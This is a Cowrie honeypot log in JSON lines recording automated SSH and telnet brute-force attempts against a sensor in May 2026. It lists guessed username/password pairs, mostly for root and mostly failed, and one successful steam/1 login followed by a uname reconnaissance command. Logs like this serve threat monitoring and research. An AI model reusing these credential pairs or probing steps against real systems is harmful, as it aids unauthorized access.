{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.492333Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.736966Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.944905Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.948453Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:32.033924Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:32.038340Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":48255,"dst_ip":"159.203.135.109","dst_port":22,"session":"359b22b5f293","protocol":"ssh","message":"New connection: 213.135.168.228:48255 (159.203.135.109:22) [session: 359b22b5f293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:32.465354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:32.469221Z","src_ip":"213.135.168.228","session":"359b22b5f293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:32.599192Z","src_ip":"213.135.168.228","session":"359b22b5f293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porquinho","message":"login attempt [root/porquinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:33.152354Z","src_ip":"213.135.168.228","session":"359b22b5f293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122857093811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:33.634944Z","src_ip":"152.42.224.71","session":"090ae57fa96a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48630,"dst_ip":"10.17.0.5","dst_port":22,"session":"df219a0e430f","protocol":"ssh","message":"New connection: 38.93.206.2:48630 (10.17.0.5:22) [session: df219a0e430f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.280150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.284951Z","src_ip":"38.93.206.2","session":"df219a0e430f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.290191Z","src_ip":"213.135.168.228","session":"359b22b5f293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.345131Z","src_ip":"38.93.206.2","session":"df219a0e430f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taurus","message":"login attempt [root/taurus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.505698Z","src_ip":"38.93.206.2","session":"df219a0e430f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcd47aacd199","protocol":"ssh","message":"New connection: 176.65.132.129:36110 (159.203.135.109:22) [session: dcd47aacd199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.674947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.682361Z","src_ip":"176.65.132.129","session":"dcd47aacd199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:34.945607Z","src_ip":"176.65.132.129","session":"dcd47aacd199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:35.212057Z","src_ip":"176.65.132.129","session":"dcd47aacd199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:35.565275Z","src_ip":"38.93.206.2","session":"df219a0e430f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:36.298832Z","src_ip":"176.65.132.129","session":"dcd47aacd199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":43938,"dst_ip":"10.17.0.5","dst_port":22,"session":"b219638b8093","protocol":"ssh","message":"New connection: 186.13.24.118:43938 (10.17.0.5:22) [session: b219638b8093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:36.889124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:36.893858Z","src_ip":"186.13.24.118","session":"b219638b8093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:37.062794Z","src_ip":"186.13.24.118","session":"b219638b8093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"794613","message":"login attempt [root/794613] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:37.776692Z","src_ip":"186.13.24.118","session":"b219638b8093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43126,"dst_ip":"159.203.135.109","dst_port":22,"session":"7634669f5663","protocol":"ssh","message":"New connection: 176.65.132.129:43126 (159.203.135.109:22) [session: 7634669f5663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:38.068630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:38.072706Z","src_ip":"176.65.132.129","session":"7634669f5663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:38.155726Z","src_ip":"176.65.132.129","session":"7634669f5663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:38.406570Z","src_ip":"176.65.132.129","session":"7634669f5663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:38.950026Z","src_ip":"186.13.24.118","session":"b219638b8093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.103.211","src_port":48630,"dst_ip":"159.203.135.109","dst_port":22,"session":"6956c6fef10b","protocol":"ssh","message":"New connection: 14.103.103.211:48630 (159.203.135.109:22) [session: 6956c6fef10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:39.024715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:39.093611Z","src_ip":"14.103.103.211","session":"6956c6fef10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:39.327787Z","src_ip":"14.103.103.211","session":"6956c6fef10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:39.496806Z","src_ip":"176.65.132.129","session":"7634669f5663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43132,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0d134a89479","protocol":"ssh","message":"New connection: 176.65.132.129:43132 (159.203.135.109:22) [session: c0d134a89479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:41.334590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:41.339870Z","src_ip":"176.65.132.129","session":"c0d134a89479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:41.423170Z","src_ip":"176.65.132.129","session":"c0d134a89479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:41.669445Z","src_ip":"176.65.132.129","session":"c0d134a89479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:42.756236Z","src_ip":"176.65.132.129","session":"c0d134a89479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d913b1dbac96","protocol":"telnet","message":"New connection: 152.42.224.71:41370 (10.17.0.5:23) [session: d913b1dbac96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:42.995792Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52198,"dst_ip":"159.203.135.109","dst_port":22,"session":"44fe03533bdb","protocol":"ssh","message":"New connection: 46.19.67.181:52198 (159.203.135.109:22) [session: 44fe03533bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.221902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.226738Z","src_ip":"46.19.67.181","session":"44fe03533bdb","protocol":"ssh"}
